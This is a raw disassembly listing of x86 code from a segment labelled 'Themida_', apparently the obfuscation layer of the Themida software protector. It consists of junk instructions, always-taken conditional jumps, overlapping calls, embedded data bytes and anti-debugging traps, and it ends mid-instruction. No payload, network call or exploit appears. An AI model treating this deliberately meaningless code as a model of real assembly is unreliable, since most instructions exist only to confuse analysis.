--------------------------------------------------------------------------- loc_603186: ; CODE XREF: Themida_:0060316Dj xor edx, 2F71248h mov ecx, 596C6910h push esi pop eax jz loc_6031B0 jmp loc_6031B0 ; --------------------------------------------------------------------------- dw 0EFFDh ; --------------------------------------------------------------------------- pop ebp mov ebp, edx mov cl, 18h movsb adc esi, ecx sub [edx], cl xchg al, [eax+30h] push esp sub bh, dh loc_6031B0: ; CODE XREF: Themida_:00603193j ; Themida_:00603199j mov edx, esi loc_6031B2: ; CODE XREF: Themida_:0060313Cj mov bx, 4FFDh mov dx, 0E85Eh jmp loc_6031C4 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- dd 12BE5334h ; --------------------------------------------------------------------------- loc_6031C4: ; CODE XREF: Themida_:006031BAj mov si, cx clc movzx ebx, di movsx eax, bx and ebx, 675FED9Fh clc jle loc_6031F3 jmp loc_6031F3 ; --------------------------------------------------------------------------- dd 5EC6687Ch, 0B2420B04h, 49E29EB7h, 27EC5838h db 0A1h, 95h, 32h ; --------------------------------------------------------------------------- loc_6031F3: ; CODE XREF: Themida_:006031D5j ; Themida_:006031DBj jmp loc_60320B ; --------------------------------------------------------------------------- dd 0AA57A119h, 4B50F8EEh, 2D6C7037h, 6CBDAC7h db 31h, 33h, 38h ; --------------------------------------------------------------------------- loc_60320B: ; CODE XREF: Themida_:loc_6031F3j movzx ebx, bx jl loc_60321B pusha mov di, 58F0h cmc popa loc_60321B: ; CODE XREF: Themida_:0060320Ej mov bh, 0E6h mov si, 3083h movsx edx, ax mov ecx, edi jmp loc_60323E ; --------------------------------------------------------------------------- db 0DBh dd 98CD51ACh, 27E80A02h, 0AC7CD2ADh, 42CA7E00h db 3Bh, 47h ; --------------------------------------------------------------------------- loc_60323E: ; CODE XREF: Themida_:00603226j xor si, 0D47Bh jmp loc_603256 ; --------------------------------------------------------------------------- adc bl, bh retf ; --------------------------------------------------------------------------- sbb dword ptr [ebp+733F2FD5h], 53AF0247h retf ; --------------------------------------------------------------------------- loc_603256: ; CODE XREF: Themida_:00603243j mov cx, si mov eax, 446D1B32h sub eax, 32B732E7h sub di, 0FA01h jmp loc_603275 ; --------------------------------------------------------------------------- dw 50B1h dd 49F6DE0Ah db 0F4h ; --------------------------------------------------------------------------- loc_603275: ; CODE XREF: Themida_:00603269j push edi pop edi mov ah, 36h jp loc_603285 sbb edi, 4BF5D95h loc_603285: ; CODE XREF: Themida_:00603279j stc mov ecx, 6DC1F4AFh mov edi, 1DEF1BB5h sbb dl, 98h jmp loc_60329F ; --------------------------------------------------------------------------- dd 0EF7F0C67h db 4Fh, 0BDh, 0F0h ; --------------------------------------------------------------------------- loc_60329F: ; CODE XREF: Themida_:00603293j cld movsx edi, ax jnz loc_6032C2 push esi call near ptr loc_6032BE+2 ; CODE XREF: Themida_:00603317j pop edx mov ds:5A01A0C7h, eax push esi mov ds:0F52EF7E3h, eax scasb cmp bl, dl loc_6032BE: ; CODE XREF: Themida_:006032AAp rcl byte ptr [esi], 5Ah pop ecx loc_6032C2: ; CODE XREF: Themida_:006032A3j mov dx, 2A68h jmp loc_6032DC ; --------------------------------------------------------------------------- db 5Dh dd 0E6FB3DFAh, 48D140Ah, 0F10025F0h, 2CB9053Fh ; --------------------------------------------------------------------------- loc_6032DC: ; CODE XREF: Themida_:006032C6j call near ptr loc_6032E6+4 mov eax, ds:3C924AA4h loc_6032E6: ; CODE XREF: Themida_:loc_6032DCp add eax, 6673E2D8h mov ebx, 605EE373h xor edi, 68FA60A0h jbe loc_6032FE pusha popa loc_6032FE: ; CODE XREF: Themida_:006032F6j popa or dh, 81h jmp loc_603310 ; --------------------------------------------------------------------------- push edi push edi adc [ecx+74315BBh], ch dec ebp loc_603310: ; CODE XREF: Themida_:00603302j mov eax, esi call sub_603323 rep jge short near ptr loc_6032AA+3 dec esi ; --------------------------------------------------------------------------- db 0C5h ; --------------------------------------------------------------------------- fsub qword ptr [esp+ecx*2+4Dh] xor al, 6Dh pop eax ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_603323 proc near ; CODE XREF: Themida_:00603312p jmp sub_60332F sub_603323 endp ; --------------------------------------------------------------------------- dd 0A31B611Ch ; --------------------------------------------------------------------------- setalc or [ebx], esi ; =============== S U B R O U T I N E ======================================= sub_60332F proc near ; CODE XREF: sub_603323j pop ecx xor di, 7E53h sub eax, 4982963Bh sub cl, 22h adc cx, 0A9DBh call near ptr loc_60334F+1 setalc test eax, 0A9942C31h xchg eax, edi loc_60334F: ; CODE XREF: sub_60332F+14p or ebp, eax sub_60332F endp ; sp-analysis failed or eax, [eax] ; --------------------------------------------------------------------------- db 0 dd 0CE597A00h, 35A932A2h, 0BDFADD15h, 22F28166h, 0F585BBAh dd 86h, 0D1816000h, 4206F948h, 6661D98Bh, 81A2C881h, 0C800Fh dd 830F0000h, 6, 0F2A5EB81h, 8166469Dh, 66EC19DEh, 7E8DA8Bh dd 0A4000000h, 0FE5D886Dh, 42BF79D3h, 5B0BC83Eh, 8E9h dd 8FABE500h, 0F65C21DEh, 8B66F80Fh, 860FF5F8h, 5, 3BEE8166h dd 0CB8BF988h, 99BF6660h, 6850FAFh, 0F000000h, 85h, 840F6100h dd 0 dd 78A0Fh, 870F0000h, 1, 3C36BFF5h, 8B667869h, 0E8D08BD1h dd 7, 0B7B6EDFBh, 66F2F4C2h, 0DA15D181h, 0E956F558h, 0Fh dd 0AC5D1605h, 0A093EF93h, 2298ED1Dh, 59ED0C7Dh, 13E9h dd 381C0B00h, 0CB8FDE35h, 9721BBA5h, 0C870B353h, 5374B201h dd 0CBBF0F60h, 61D6BF0Fh, 0EB80BAB6h, 71EE811Ch, 8000F6E4h dd 0C28BFFF7h, 4860Fh, 0BE660000h, 55BE4095h, 0E926EB92h dd 0Bh, 54223952h, 8BCD429Ch, 53AB5BFAh, 14E9h, 69E90700h dd 0BCF0F39h, 834F152Fh, 0B2490C19h, 6F9DC34Ch, 8B66588Ch dd 5260F5CAh, 153A41B9h, 81665F09h, 61C8B2C9h, 0BCD28166h dd 496EBEBAh, 830F5195h, 4, 0C8E4BF66h, 65B1C681h, 816663E7h dd 8B0669EEh, 0D18166DEh, 0EE803DD4h, 0BF0F60FDh, 49B966D2h dd 0DE8161DCh, 42D86842h, 50D6B70Fh, 0DE9h, 8AC30300h dd 0DADB2C7Eh, 0E0493A07h, 0B059EEDBh, 0E96060FAh, 5, 0D03A5C45h dd 0C381614Ch, 11CF7D86h, 850F5161h, 0 ; --------------------------------------------------------------------------- pop esi jmp loc_603520 ; --------------------------------------------------------------------------- dw 0DB30h dd 0B45155DEh, 22B52220h, 4CF594F8h, 0A931FC8Ch ; --------------------------------------------------------------------------- loc_603520: ; CODE XREF: Themida_:00603509j and ecx, 19B571B9h jno loc_60352E mov cl, 55h loc_60352E: ; CODE XREF: Themida_:00603526j sub ebx, 6A59DA41h mov dh, 3Eh call sub_603545 ; CODE XREF: Themida_:0060353Bj loope near ptr loc_603536+3 xor al, 12h pop es and ah, [edx] scasd jnb short near ptr dword_6033E0+11Ch ; =============== S U B R O U T I N E ======================================= sub_603545 proc near ; CODE XREF: Themida_:loc_603536p pusha clc movsx edx, cx popa pop esi jmp loc_603559 ; --------------------------------------------------------------------------- db 0D0h, 5Fh, 9Eh dd 0E1C6D59Ah db 6Fh ; --------------------------------------------------------------------------- loc_603559: ; CODE XREF: sub_603545+7j jmp loc_603565 ; --------------------------------------------------------------------------- db 90h db 9Dh dd 0EA12E9EEh byte_603564 db 0B2h ; CODE XREF: sub_603545+56j ; --------------------------------------------------------------------------- loc_603565: ; CODE XREF: sub_603545:loc_603559j movsx eax, dx movsx ebx, ax clc movzx ecx, di mov si, 0CEADh jmp loc_60358C ; --------------------------------------------------------------------------- dd 0DEE9823Bh, 16BC149Bh, 4AF3D46h, 9E815A0Ah, 97818584h ; --------------------------------------------------------------------------- loc_60358C: ; CODE XREF: sub_603545+2Ej pusha stc xor edi, 564DE79Ah popa call near ptr loc_6035A5+4 scasb loope near ptr byte_603564 push ds cmp al, 91h inc esi db 36h or eax, esp stosd loc_6035A5: ; CODE XREF: sub_603545+50p mov word ptr [ebp+6E81D0Ch], cs sub_603545 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0 dd 43E00000h, 0CC694260h, 870Fh, 5E5A0000h, 0F5DF8B66h dd 5E8h, 0E1D36600h, 0CE8B3CF2h, 0CDB96659h, 8166535Ah dd 5E2EEDD9h, 0AE8h, 0E9B00900h, 0B0C5AA3Ch, 8BCF24D5h dd 0C38B5AD7h, 12E9h, 0B823F300h, 6692CD4h, 0A20792B7h dd 9C8AA9F1h, 0E80267B8h, 13h, 459D3128h, 0B36D11A7h, 32CC29EAh dd 21C4A923h, 523CBBCAh, 5BFEB70Fh, 0F860505Fh, 6170F680h dd 0BFCB8059h, 10810Fh, 7E80000h, 0B4000000h, 36367B4Bh dd 0E880AB3Bh, 0D38B5E45h, 11E960h, 98440000h, 51801CF3h dd 807AE739h, 0C2DA2C0Fh, 538E4B79h, 58DFB70Fh, 47C78061h dd 0C18B6657h, 0AE959h, 5BB70000h, 651F65B6h, 8871557Eh dd 0E8CA8B66h, 11h, 82D179E8h, 4937BA97h, 0D6A9F5BBh, 0CD1F7DC7h dd 5E986h, 0F38E0000h, 5B27AD3Ah, 80F7BF0Fh, 14E925F6h dd 43000000h, 69F48F21h, 6E4DAE1Eh, 0D30E9EABh, 0F896D8C9h dd 8B5DADA8h, 9E8C7h, 0B76B0000h, 74E0DC61h, 8B9B4389h dd 0F08B5FF0h, 0F5C68B60h, 4810F61h, 66000000h, 568B54B9h dd 5E8h, 3302E300h, 0BB660543h, 5F5F65FDh, 5E9h, 824FAE00h dd 12E9B035h, 52000000h, 0A38119AEh, 5736BAB4h, 593499E9h dd 0AC1D99B0h, 20880F53h, 0E8000000h, 0Eh, 6F3602CCh, 0E4F7692Fh dd 0A0DE6CABh, 6E86A7Eh, 39000000h, 732B6777h, 0F5E5F73h dd 0BF66FAB7h, 0ED808EB6h, 0B860F511h, 4ACE3Bh, 0D0CBBE66h dd 65BB6661h, 19820F11h, 0E9000000h, 14h, 1957E6BEh, 0A4E3E228h dd 2ADD73Ch, 0BF4F810Dh, 26155461h, 38F0FF8h, 0F000000h dd 8E9C6B7h, 0CD000000h, 5297592h, 819C0363h, 4BD550CFh dd 850F18h, 80000000h, 830F87D9h, 5, 0F0B70F56h, 0F78B6658h dd 48B0Fh, 0BB660000h, 0F78117B5h, 72DC31DCh, 10E8h, 0D9AD8C00h dd 903F96C9h, 0D9A02F70h, 729AFDC6h, 8EC2BB58h, 525B7B92h dd 5BC38B66h, 0F51D08Ah, 86h, 81665A00h, 661549CEh, 0FB3FCBEh dd 1B8Dh, 0CF8B6000h, 12E9h, 2B82DD00h, 60EC430Ch, 75B66B95h dd 33B97275h, 61C4FDA0h, 0A92315BBh, 1850F32h, 0F9000000h dd 4C93C081h, 0BF663B20h, 0E5809C36h, 81C8B72Fh, 0EEC1EAD0h dd 98E6812Eh, 8B11D8F6h, 3ABB51FBh, 5E36CF44h, 0DCB96652h dd 0EB815ABBh, 2551C1Dh, 0CD9BBF66h, 890Fh, 0EEBF0000h dd 0B72B2F1Eh, 9E969h, 3C240000h, 0C6B49F57h, 0FC0AA1E2h dd 68A0Fh, 0F2810000h, 4F8D8F89h, 0D08B6651h, 66E68A5Bh dd 0F667CBBh, 885h, 800F5200h, 0 ; --------------------------------------------------------------------------- pop ebx mov ax, 0BC4Fh jz $+6 mov bx, dx mov dh, 0E6h jmp loc_6038AD ; --------------------------------------------------------------------------- db 21h, 57h, 2Ah dd 0C57BD01Fh, 1FC9E027h, 53E8E6B9h db 12h ; --------------------------------------------------------------------------- loc_6038AD: ; CODE XREF: Themida_:00603898j pusha cld popa mov di, dx mov bh, 9Dh and bx, 0E01h push esi pop esi mov ecx, 0AE9CDB6h mov cx, 7F1Eh cmc jmp loc_6038DF ; --------------------------------------------------------------------------- db 0C1h dd 8274A3C1h, 30BE011Ch, 0BFDF9942h, 5C7D7271h db 0F2h, 69h, 5Ch ; --------------------------------------------------------------------------- loc_6038DF: ; CODE XREF: Themida_:006038C6j push ecx pop eax and edi, 5EFB3E89h adc dx, 0A085h add edx, 578D7060h mov bx, 3FDBh push ebx pop ebx movzx eax, si mov cl, 55h jns loc_603912 jmp loc_603912 ; --------------------------------------------------------------------------- dd 1FD00377h, 171AE926h db 35h, 0B3h ; --------------------------------------------------------------------------- loc_603912: ; CODE XREF: Themida_:006038FDj ; Themida_:00603903j movsx edx, bx cmc movsx esi, ax jp loc_603921 mov ebx, edi loc_603921: ; CODE XREF: Themida_:00603919j or ax, 0F3D7h sub edx, 6EB53CCDh jz loc_603934 mov dh, al loc_603934: ; CODE XREF: Themida_:0060392Cj mov edi, 688310EEh pusha mov edi, ecx jmp loc_60394A ; --------------------------------------------------------------------------- db 75h, 2Bh, 0A9h dd 7ECF3CFCh db 9Fh, 15h ; --------------------------------------------------------------------------- loc_60394A: ; CODE XREF: Themida_:0060393Cj popa jmp loc_60395B ; --------------------------------------------------------------------------- dd 727BC774h, 27608E0Fh db 95h, 58h, 0E3h ; --------------------------------------------------------------------------- loc_60395B: ; CODE XREF: Themida_:0060394Bj jmp loc_603966 ; --------------------------------------------------------------------------- dd 8FA60F1Ah db 0A3h, 2Ah ; --------------------------------------------------------------------------- loc_603966: ; CODE XREF: Themida_:loc_60395Bj jmp loc_603973 ; --------------------------------------------------------------------------- db 0A3h dd 184C216Eh db 79h, 21h, 65h ; --------------------------------------------------------------------------- loc_603973: ; CODE XREF: Themida_:loc_603966j mov eax, edi sub ecx, 60D7E23Bh jmp loc_603990 ; --------------------------------------------------------------------------- dd 0B6D34D05h, 6F976D0Dh, 9556F446h, 6A37F501h ; --------------------------------------------------------------------------- loc_603990: ; CODE XREF: Themida_:0060397Bj mov ch, 5Ah and bh, 0E9h mov eax, edx mov esi, 440E9625h cmc cmc mov si, di call sub_6039B6 retn 8170h ; --------------------------------------------------------------------------- db 0D4h, 47h, 0ADh dd 26468172h, 0F065D112h db 0DCh, 0A1h ; =============== S U B R O U T I N E ======================================= sub_6039B6 proc near ; CODE XREF: Themida_:006039A1p add dl, 0BCh pop eax add eax, 4AB3C472h jnp loc_6039C9 movsx ebx, cx loc_6039C9: ; CODE XREF: sub_6039B6+Aj mov bx, 0FF7Dh mov bx, 0AF59h movzx ecx, di jz loc_6039EB jmp loc_6039EB ; --------------------------------------------------------------------------- db 63h dd 89F8AD45h, 4EED632Fh ; --------------------------------------------------------------------------- loc_6039E8: ; CODE XREF: sub_6039B6+54j aas cwde ; --------------------------------------------------------------------------- db 24h ; --------------------------------------------------------------------------- loc_6039EB: ; CODE XREF: sub_6039B6+1Ej ; sub_6039B6+24j pusha pusha mov ah, 35h adc si, 255Ah popa js near ptr loc_603A13+2 call near ptr loc_603A13+1 and eax, [ecx+edx*2+75h] db 36h clc enter 0FFFF8B19h, 56h jb short loc_6039E8 sub edx, [esi] imul edi, ecx, 33h pusha push edx loc_603A13: ; CODE XREF: sub_6039B6+45p ; sub_6039B6+3Fj arpl [edi+61h], bx sub_6039B6 endp ; sp-analysis failed push ebx jmp loc_603A22 ; --------------------------------------------------------------------------- dd 0AB38D5Dh db 0BFh, 0B2h ; --------------------------------------------------------------------------- loc_603A22: ; CODE XREF: Themida_:00603A17j pop edx sbb al, 0C9h jp loc_603A32 pusha mov al, 40h pusha ; START OF FUNCTION CHUNK FOR sub_603A60 loc_603A30: ; CODE XREF: sub_603A60+10j popa popa loc_603A32: ; CODE XREF: Themida_:00603A26j sub esi, 6E08BDDEh or dx, 859h push ebx xor edi, 15B206Fh pop edx jmp loc_603A54 ; END OF FUNCTION CHUNK FOR sub_603A60 ; --------------------------------------------------------------------------- dw 8E57h ; --------------------------------------------------------------------------- mov eax, 5671DB19h or [ebp-68h], cl ; START OF FUNCTION CHUNK FOR sub_603A60 loc_603A54: ; CODE XREF: sub_603A60-1Bj call sub_603A60 sub cl, [edx+eax*2-637F8E23h] ; END OF FUNCTION CHUNK FOR sub_603A60 ; =============== S U B R O U T I N E ======================================= sub_603A60 proc near ; CODE XREF: sub_603A60:loc_603A54p ; FUNCTION CHUNK AT 00603A30 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00603A54 SIZE 0000000C BYTES mov si, 9A89h pop ebx or dx, 5312h call near ptr loc_603A75+3 das jz short loc_603A30 int 2Fh daa loc_603A75: ; CODE XREF: sub_603A60+Ap or bl, [ebx+5FD38BE0h] sub_603A60 endp ; sp-analysis failed mov ebx, 409A448h mov ebx, 5C298860h push ebx sbb ecx, 9A7C474h pop ebx sub cx, 9C22h mov edx, ebx mov si, 0E5C8h sub si, 376Bh jno loc_603AA6 mov bx, cx loc_603AA6: ; CODE XREF: Themida_:00603A9Dj add cx, 0FBF6h stc clc or al, 29h mov di, si jg loc_603ACA pusha pusha popa jmp loc_603AC9 ; --------------------------------------------------------------------------- db 0FCh, 4Eh, 0B8h dd 0AEE5BC59h db 6Ah ; --------------------------------------------------------------------------- loc_603AC9: ; CODE XREF: Themida_:00603ABCj popa loc_603ACA: ; CODE XREF: Themida_:00603AB3j mov edi, 5B7044E6h pusha or dx, 91A2h popa jmp loc_603AEF ; --------------------------------------------------------------------------- db 3Bh dd 17A36AD2h, 0F3B9B204h, 0F17773EFh, 126F0364h db 0E0h, 0Ah, 0CEh ; --------------------------------------------------------------------------- loc_603AEF: ; CODE XREF: Themida_:00603AD6j ja loc_603AF6 cmc loc_603AF6: ; CODE XREF: Themida_:loc_603AEFj and dx, 1015h ja loc_603B27 call near ptr loc_603B12+2 and ebp, edx fcmovne st, st(5) mov bl, al and [esi], edx shl dword ptr [ecx], 1 dec ebp aaa loc_603B12: ; CODE XREF: Themida_:00603B01p xor ch, [ecx+ebp*8+0Dh] ; --------------------------------------------------------------------------- dw 0 dd 4054B600h, 389C0A7Eh, 97DD20B5h ; --------------------------------------------------------------------------- pop ds cmpsd pop edi loc_603B27: ; CODE XREF: Themida_:00603AFBj cmc mov bh, 61h pusha jb loc_603B35 mov si, 15E0h loc_603B35: ; CODE XREF: Themida_:00603B2Bj jmp loc_603B43 ; --------------------------------------------------------------------------- dw 0DC6Eh ; --------------------------------------------------------------------------- mov dword ptr [ebx-5Dh], 0AFC87E0Eh loc_603B43: ; CODE XREF: Themida_:loc_603B35j popa pusha mov edi, eax stc popa mov ah, 81h call near ptr loc_603B61+1 les esi, ds:478EAC42h assume ss:nothing aaa dec esp push esi jge short loc_603BB3 cmp esp, [ebp+42h] cld out dx, eax inc edx loc_603B61: ; CODE XREF: Themida_:00603B4Bp db 2Eh jz loc_603B6B or dl, 65h loc_603B6B: ; CODE XREF: Themida_:loc_603B61j pop esi add cx, 8CF7h push eax mov edx, 0B32C3EFh pop edx jnz loc_603B80 push ecx pop esi loc_603B80: ; CODE XREF: Themida_:00603B78j jmp loc_603B91 ; --------------------------------------------------------------------------- db 1Ah, 0F5h, 0F2h dd 0C5C0BFE8h, 0DFAC495Eh db 28h ; --------------------------------------------------------------------------- loc_603B91: ; CODE XREF: Themida_:loc_603B80j mov cl, al push ebx jmp loc_603BAD ; --------------------------------------------------------------------------- retf 56E9h ; --------------------------------------------------------------------------- dd 0F6A22A30h, 0DE4F3A05h, 0E5734561h, 9D99303Bh db 7Dh ; --------------------------------------------------------------------------- loc_603BAD: ; CODE XREF: Themida_:00603B94j pop esi jmp loc_603BC0 ; --------------------------------------------------------------------------- loc_603BB3: ; CODE XREF: Themida_:00603B59j push edi fcmovnb st, st(7) test al, 42h popa add [ecx], ecx and al, 0C3h jnz short near ptr loc_603C0C+3 push cs loc_603BC0: ; CODE XREF: Themida_:00603BAEj and si, 5F71h mov bx, 0F002h mov esi, ecx jnp loc_603BD7 add ecx, 261FC758h loc_603BD7: ; CODE XREF: Themida_:00603BCBj jmp loc_603BE4 ; --------------------------------------------------------------------------- dd 62C745FDh, 1A7F1189h ; --------------------------------------------------------------------------- loc_603BE4: ; CODE XREF: Themida_:loc_603BD7j cld call sub_603BFE mov dh, 31h retn ; --------------------------------------------------------------------------- db 0F0h, 6Ah, 0D9h dd 791F8988h, 0AAFE82CEh, 510386DFh ; --------------------------------------------------------------------------- cmp dh, bl ; =============== S U B R O U T I N E ======================================= sub_603BFE proc near ; CODE XREF: Themida_:00603BE5p arg_4 = byte ptr 8 arg_15 = byte ptr 19h ; FUNCTION CHUNK AT 00603CE2 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00603D13 SIZE 0000002F BYTES ; FUNCTION CHUNK AT 00603D4E SIZE 00000068 BYTES ; FUNCTION CHUNK AT 00603DC3 SIZE 0000003E BYTES pop esi jmp loc_603C09 ; --------------------------------------------------------------------------- dd 5A5DCC62h db 0BAh ; --------------------------------------------------------------------------- loc_603C09: ; CODE XREF: sub_603BFE+1j or ah, 4Ah loc_603C0C: ; CODE XREF: Themida_:00603BBDj jnp loc_603C17 mov edi, 1DB45464h loc_603C17: ; CODE XREF: sub_603BFE:loc_603C0Cj or eax, 663E2618h jmp loc_603C2C ; --------------------------------------------------------------------------- dw 86E7h ; --------------------------------------------------------------------------- pop ebx xchg eax, edi fnsave [esp+edx*4-8+arg_15] fdivr st, st loc_603C2C: ; CODE XREF: sub_603BFE+1Fj or dx, 0D22Fh and dx, 0D1ECh mov esi, eax ja loc_603C4A jmp loc_603C4A ; --------------------------------------------------------------------------- db 74h dd 0C2BDC113h ; --------------------------------------------------------------------------- xor cl, [ecx] loc_603C4A: ; CODE XREF: sub_603BFE+3Aj ; sub_603BFE+40j pusha sub esi, 51A50C4Dh mov edx, 470D46B8h popa adc ebx, 12AAE91h cmc mov edi, 6F75ADEDh stc movzx eax, dx mov dx, bx cmc jmp loc_603C7A ; --------------------------------------------------------------------------- dd 942126E7h, 0D18C2FCCh db 5Fh, 0A9h ; --------------------------------------------------------------------------- loc_603C7A: ; CODE XREF: sub_603BFE+6Dj mov cx, 3055h mov bx, 0F0C0h call near ptr loc_603C8B+4 inc edi loop loc_603CE2 push esi loc_603C8B: ; CODE XREF: sub_603BFE+84p adc [esi-74F0CD22h], ebp sub_603BFE endp ; sp-analysis failed push es ; --------------------------------------------------------------------------- dw 0 dd 9AF38100h, 5F1C6F34h, 0BA70D681h, 0CF8B2A12h, 0FDFBF0Fh dd 98Bh, 3880F00h, 66000000h, 6E9F88Bh, 45000000h, 0F6EE8013h dd 66D88BD9h, 0E9ECB4BBh, 0Dh, 1B81213Dh, 7FFFC583h, 5D5A3E38h dd 8E948h, 0C8F10000h db 48h, 36h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_603BFE loc_603CE2: ; CODE XREF: sub_603BFE+8Aj aad 8Ah lock mov ecx, [edi] mov bh, 0D3h mov eax, 3FA4A576h mov eax, 2CD1BDA8h sub si, 7686h jnp loc_603D13 jmp loc_603D13 ; END OF FUNCTION CHUNK FOR sub_603BFE ; --------------------------------------------------------------------------- xchg eax, ecx pop ebx cwde push eax sub edi, edx sti xchg eax, ebp aam 8Bh retn ; --------------------------------------------------------------------------- dw 0F452h ; --------------------------------------------------------------------------- retn 2D03h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_603BFE loc_603D13: ; CODE XREF: sub_603BFE+FAj ; sub_603BFE+100j and eax, 522941E0h sub di, 8E98h movzx edi, ax jo loc_603D28 cmc loc_603D28: ; CODE XREF: sub_603BFE+123j xor ch, 8 mov bl, dh push ecx xor cl, 45h pop esi mov esi, edi mov bx, di jl loc_603D4E jmp loc_603D4E ; END OF FUNCTION CHUNK FOR sub_603BFE ; --------------------------------------------------------------------------- dw 149Ah ; --------------------------------------------------------------------------- sbb eax, 1F2D54B9h mov ebp, 19AA6880h ; START OF FUNCTION CHUNK FOR sub_603BFE loc_603D4E: ; CODE XREF: sub_603BFE+139j ; sub_603BFE+13Fj movzx ebx, dx mov ebx, 69226717h movzx ebx, cx movsx ecx, bx mov ecx, 0BB149D4h clc pusha call near ptr loc_603D76+1 lodsd aaa xchg eax, edx xchg edx, [eax+3AFF9A68h] xchg eax, ecx xor al, 0D1h aaa cmpsb loc_603D76: ; CODE XREF: sub_603BFE+165p out 0E8h, eax sldt word ptr [eax] add [ebx+64h], dl push ebp pop edi dec ebp adc eax, 0B018ADE5h dec esi movsb stc xchg dh, ch pop ecx pop eax mov edx, 34D5FF81h popa ja loc_603D9E mov esi, 4ABF42F1h loc_603D9E: ; CODE XREF: sub_603BFE+195j cld jnz loc_603DAA or cx, 8CF5h loc_603DAA: ; CODE XREF: sub_603BFE+1A1j mov ax, dx stc mov di, ax jmp loc_603DC3 ; END OF FUNCTION CHUNK FOR sub_603BFE ; --------------------------------------------------------------------------- dw 47C9h dd 627B5788h, 2A671035h db 8Fh, 67h, 0B3h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_603BFE loc_603DC3: ; CODE XREF: sub_603BFE+1B3j mov ax, 0A4C5h mov ah, 90h jo near ptr loc_603DE4+3 call near ptr loc_603DE1+2 clc dec esp add [esi+2Bh], ecx call near ptr 0ACCA205Ch call fword ptr [esp+ebp*8+0] loc_603DE1: ; CODE XREF: sub_603BFE+1D1p or ecx, [edx-80h] loc_603DE4: ; CODE XREF: sub_603BFE+1CBj call near ptr 0DAEA9D76h adc ch, 0D1h jb loc_603DF3 cmc loc_603DF3: ; CODE XREF: sub_603BFE+1EEj call sub_603E01 push 0F2516B8Eh int 3 ; Trap to Debugger int 0E5h ; used by BASIC while in interpreter xchg eax, ebp ; END OF FUNCTION CHUNK FOR sub_603BFE ; =============== S U B R O U T I N E ======================================= sub_603E01 proc near ; CODE XREF: sub_603BFE:loc_603DF3p movzx eax, bx pop edx jns loc_603E0E mov ax, dx loc_603E0E: ; CODE XREF: sub_603E01+4j adc ax, 2F0Fh mov di, 1339h cld xor ax, 0A369h sbb bx, 3B3Ch or si, 9C43h mov ch, 0D7h push esi adc eax, 3F1B294Ah pop esi jz loc_603E39 mov bl, 0ACh loc_603E39: ; CODE XREF: sub_603E01+30j jnp loc_603E58 jmp loc_603E58 ; --------------------------------------------------------------------------- dd 9EE84B53h, 331B112Dh, 81643F0Ah, 0BC42A540h, 0CA7F4104h ; --------------------------------------------------------------------------- loc_603E58: ; CODE XREF: sub_603E01:loc_603E39j ; sub_603E01+3Ej jmp loc_603E70 ; --------------------------------------------------------------------------- db 32h, 9Dh, 0C8h dd 33E4FF84h, 161465FDh, 3A4CDB0Eh, 0FAA5A820h ; --------------------------------------------------------------------------- loc_603E70: ; CODE XREF: sub_603E01:loc_603E58j jmp loc_603E7F ; --------------------------------------------------------------------------- db 8Ah, 0, 0ACh dd 7BBEFAC4h ; --------------------------------------------------------------------------- sti mov ah, 52h loc_603E7F: ; CODE XREF: sub_603E01:loc_603E70j push eax add ax, 7C7Fh pop edx call loc_603E9D sar cl, 1 fcmove st, st(5) adc ecx, [eax-65h] shr dword ptr cs:[ecx-4Fh], 1 fnstsw word ptr [esi] and eax, 3912DE8Eh sub_603E01 endp ; sp-analysis failed loc_603E9D: ; CODE XREF: sub_603E01+85p jz loc_603EB8 jmp loc_603EB8 ; --------------------------------------------------------------------------- dd 1C680256h, 2408E7E7h, 0C107C750h, 31C9BAA9h ; --------------------------------------------------------------------------- loc_603EB8: ; CODE XREF: Themida_:loc_603E9Dj ; Themida_:00603EA3j pop edx push edx xor al, 30h pop edi sub edi, 8448C5Ah mov eax, 29B6E988h ; CODE XREF: Themida_:00603F11j pusha jmp loc_603ED7 ; --------------------------------------------------------------------------- db 50h dd 0D161B2BCh db 5Ah, 6, 0E2h ; --------------------------------------------------------------------------- loc_603ED7: ; CODE XREF: Themida_:00603ECAj and dx, 0A705h popa jmp loc_603EEA ; --------------------------------------------------------------------------- dw 3870h dd 20B10229h db 0B9h, 0F1h ; --------------------------------------------------------------------------- loc_603EEA: ; CODE XREF: Themida_:00603EDDj pusha jnp loc_603EF7 jg $+6 loc_603EF7: ; CODE XREF: Themida_:00603EEBj or edi, 4D511856h popa call sub_603F17 sub al, 0EAh dec esp sbb ebp, esp clc scasb inc edi pop ss assume ss:nothing fsub dword ptr [eax] sub al, 55h ja short near ptr loc_603EC4+2 hlt ; --------------------------------------------------------------------------- db 2Dh, 2 dup(0BFh) ; =============== S U B R O U T I N E ======================================= sub_603F17 proc near ; CODE XREF: Themida_:00603EFEp jnz loc_603F20 movzx ecx, dx loc_603F20: ; CODE XREF: sub_603F17j pop ecx or cx, 601h jz loc_603F32 sub edi, 71C6775Eh loc_603F32: ; CODE XREF: sub_603F17+Fj mov dh, 0F4h mov edx, 4EA3D1B1h mov dx, 0BC84h mov dx, 2FC1h mov edi, 22D89DB1h mov bx, 7AEAh mov si, cx mov al, bh push ebx xor edx, 16627CC6h pop edi jnb loc_603F62 adc si, 0A90Dh loc_603F62: ; CODE XREF: sub_603F17+40j mov si, di push edi push ecx mov ch, 50h pop eax pop esi jnp loc_603F72 clc loc_603F72: ; CODE XREF: sub_603F17+54j mov esi, ebx js loc_603F7F mov edi, 529B743Eh loc_603F7F: ; CODE XREF: sub_603F17+5Dj jz $+6 mov eax, ebx jmp loc_603F99 ; --------------------------------------------------------------------------- dd 0C5C9F65Eh, 3F75201Dh, 0F2B6AE79h db 2Bh ; --------------------------------------------------------------------------- loc_603F99: ; CODE XREF: sub_603F17+70j xor esi, 9700024h jmp loc_603FB7 ; --------------------------------------------------------------------------- or bl, [ecx+edx*4+66h] add bl, al test eax, 7E8C66B3h mov esi, 1B13C697h lds eax, [edi] scasd loc_603FB7: ; CODE XREF: sub_603F17+88j jle loc_603FBF mov dl, ch loc_603FBF: ; CODE XREF: sub_603F17:loc_603FB7j pusha xor ax, 7ECEh mov esi, 7EAD563Fh popa mov di, 